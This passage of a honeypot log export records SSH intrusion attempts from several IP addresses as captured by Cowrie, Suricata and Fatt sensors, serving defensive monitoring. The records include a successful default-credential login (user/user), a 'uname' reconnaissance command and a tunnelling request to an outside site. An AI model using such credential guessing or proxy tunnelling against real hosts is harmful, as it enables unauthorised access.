"AAADvA4URh0Uf1Zk9Xpew6i/l9Fq0gAAAIxjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTQtc2hhMSxkaWZmaWUtaGVsbG1hbi1ncm91cDEtc2hhMQAAAS1zc2gtcnNhLWNlcnQtdjAxQG9wZW5zc2guY29tLHNzaC1kc3MtY2VydC12MDFAb3BlbnNzaC5jb20sZWNkc2Etc2hhMi1uaXN0cDI1Ni1jZXJ0LXYwMUBvcGVuc3NoLmNvbSxlY2RzYS1zaGEyLW5pc3RwMzg0LWNlcnQtdjAxQG9wZW5zc2guY29tLGVjZHNhLXNoYTItbmlzdHA1MjEtY2VydC12MDFAb3BlbnNzaC5jb20sc3NoLWVkMjU1MTktY2VydC12MDFAb3BlbnNzaC5jb20sZWNkc2Etc2hhMi1uaXN0cDI1NixlY2RzYS1zaGEyLW5pc3RwMzg0LGVjZHNhLXNoYTItbmlzdHA1MjEsc3NoLXJzYSxzc2gtZHNzLHNzaC1lZDI1NTE5AAAAh2FlczEyOC1nY21Ab3BlbnNzaC5jb20sY2hhY2hhMjAtcG9seTEzMDVAb3BlbnNzaC5jb20sYWVzMTI4LWN0cixhZXMxOTItY3RyLGFlczI1Ni1jdHIsYWVzMTI4LWNiYywzZGVzLWNiYyxhcmNmb3VyLGFyY2ZvdXIxMjgsYXJjZm91cjI1NgAAAIdhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGNoYWNoYTIwLXBvbHkxMzA1QG9wZW5zc2guY29tLGFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczEyOC1jYmMsM2Rlcy1jYmMsYXJjZm91cixhcmNmb3VyMTI4LGFyY2ZvdXIyNTYAAABQaG1hYy1zaGEyLTI1Ni1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTUxMixobWFjLXNoYTItMjU2LGhtYWMtc2hhMSxobWFjLXNoYTEtOTYAAABQaG1hYy1zaGEyLTI1Ni1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTUxMixobWFjLXNoYTItMjU2LGhtYWMtc2hhMSxobWFjLXNoYTEtOTYAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAC30TLbUZni2AWnqjXKN", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 48824, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:45:31.028390Z", "@timestamp": "2021-09-20T11:45:31.028Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......F...Vd.z^.....j.....curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1...-ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519....aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256....aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256...Phmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96...Phmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96....none....none.............-.L..fx..i..r."}}	1	\N	\N	alert	\N	\N
31801	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:56.028765+03	2021-09-20 15:00:02.640717+03	{"_id": "tAYIA3wBvYTbRNuEvUZ8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "input": "uname", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.command.input", "message": "CMD: uname", "session": "6436ece08441", "@version": "1", "timestamp": "2021-09-20T11:47:56.028765Z", "@timestamp": "2021-09-20T11:47:56.028Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31484	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:45:30.971476+03	2021-09-20 15:00:02.222717+03	{"_id": "WgYGA3wBvYTbRNuEhUR7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "5.188.62.219", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 48824, "timestamp": "2021-09-20T11:45:30.971476", "@timestamp": "2021-09-20T11:45:30.971Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
31485	5.188.62.219	109.199.241.180	Cowrie	2021-09-20 14:45:30.968122+03	2021-09-20 15:00:02.223717+03	{"_id": "YQYGA3wBvYTbRNuEhkTD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.219", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.219", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 5.188.62.219:48824 (192.168.176.2:22) [session: 7cc91d7357dc]", "session": "7cc91d7357dc", "@version": "1", "protocol": "ssh", "src_port": 48824, "dest_port": 22, "timestamp": "2021-09-20T11:45:30.968122Z", "@timestamp": "2021-09-20T11:45:30.968Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
31486	5.188.62.219	109.199.241.180	Cowrie	2021-09-20 14:45:31.295282+03	2021-09-20 15:00:02.224717+03	{"_id": "YwYGA3wBvYTbRNuEhkTD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.219", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.219", "dest_ip": "www.stoloto.ru", "eventid": "cowrie.direct-tcpip.request", "message": "direct-tcp connection request to www.stoloto.ru:443 from 0.0.0.0:0", "session": "7cc91d7357dc", "@version": "1", "src_port": 0, "dest_port": 443, "timestamp": "2021-09-20T11:45:31.295282Z", "@timestamp": "2021-09-20T11:45:31.295Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.request	\N	\N	\N
31487	5.188.62.219	109.199.241.180	Cowrie	2021-09-20 14:45:30.970975+03	2021-09-20 15:00:02.226716+03	{"_id": "ZAYGA3wBvYTbRNuEhkTD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.219", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.219", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-Go'", "session": "7cc91d7357dc", "version": "b'SSH-2.0-Go'", "@version": "1", "timestamp": "2021-09-20T11:45:30.970975Z", "@timestamp": "2021-09-20T11:45:30.970Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
31488	5.188.62.219	109.199.241.180	Cowrie	2021-09-20 14:45:31.233618+03	2021-09-20 15:00:02.227717+03	{"_id": "ZgYGA3wBvYTbRNuEhkTD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.219", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.219", "eventid": "cowrie.login.success", "message": "login attempt [user/user] succeeded", "session": "7cc91d7357dc", "@version": "1", "password": "user", "username": "user", "timestamp": "2021-09-20T11:45:31.233618Z", "@timestamp": "2021-09-20T11:45:31.233Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.success	\N	\N	\N
31489	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:45:35.561206+03	2021-09-20 15:00:02.229717+03	{"_id": "bgYGA3wBvYTbRNuElkRk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 183.17.231.81:60804 (192.168.176.2:22) [session: 74a263e3daf8]", "session": "74a263e3daf8", "@version": "1", "protocol": "ssh", "src_port": 60804, "dest_port": 22, "timestamp": "2021-09-20T11:45:35.561206Z", "@timestamp": "2021-09-20T11:45:35.561Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
31490	183.17.231.81	109.199.241.180	Suricata	2021-09-20 14:45:35.864723+03	2021-09-20 15:00:02.230716+03	{"_id": "cQYGA3wBvYTbRNuEmEQL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:45:35.261162+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "183.17.231.81", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2101660446882858, "payload": "AAADzAYUypXKwXLmi6ob4XFstRZGywAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 60804, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:45:35.864723Z", "@timestamp": "2021-09-20T11:45:35.864Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..........r.....ql..F....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
31491	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:45:35.565137+03	2021-09-20 15:00:02.232717+03	{"_id": "cgYGA3wBvYTbRNuEmUQF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "183.17.231.81", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 60804, "timestamp": "2021-09-20T11:45:35.565137", "@timestamp": "2021-09-20T11:45:35.565Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
31492	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:45:35.564258+03	2021-09-20 15:00:02.233716+03	{"_id": "bwYGA3wBvYTbRNuElkRk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "74a263e3daf8", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:45:35.564258Z", "@timestamp": "2021-09-20T11:45:35.564Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
31493	183.17.231.81	109.199.241.180	Suricata	2021-09-20 14:45:35.862395+03	2021-09-20 15:00:02.235718+03	{"_id": "cAYGA3wBvYTbRNuEmEQL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "183.17.231.81", "dest_ip": "192.168.20.116", "flow_id": 2101660446882858, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 60804, "dest_port": 22, "timestamp": "2021-09-20T11:45:35.862395Z", "@timestamp": "2021-09-20T11:45:35.862Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
31494	183.17.231.81	109.199.241.180	Fatt	2021-09-20 14:45:35.864723+03	2021-09-20 15:00:02.236717+03	{"_id": "cwYGA3wBvYTbRNuEmUQF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "183.17.231.81", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 60804, "dest_port": 22, "timestamp": "2021-09-20T11:45:35.864723", "@timestamp": "2021-09-20T11:45:35.864Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
31495	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:45:35.86533+03	2021-09-20 15:00:02.237717+03	{"_id": "dAYGA3wBvYTbRNuEmkRN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "74a263e3daf8", "@version": "1", "timestamp": "2021-09-20T11:45:35.865330Z", "@timestamp": "2021-09-20T11:45:35.865Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": 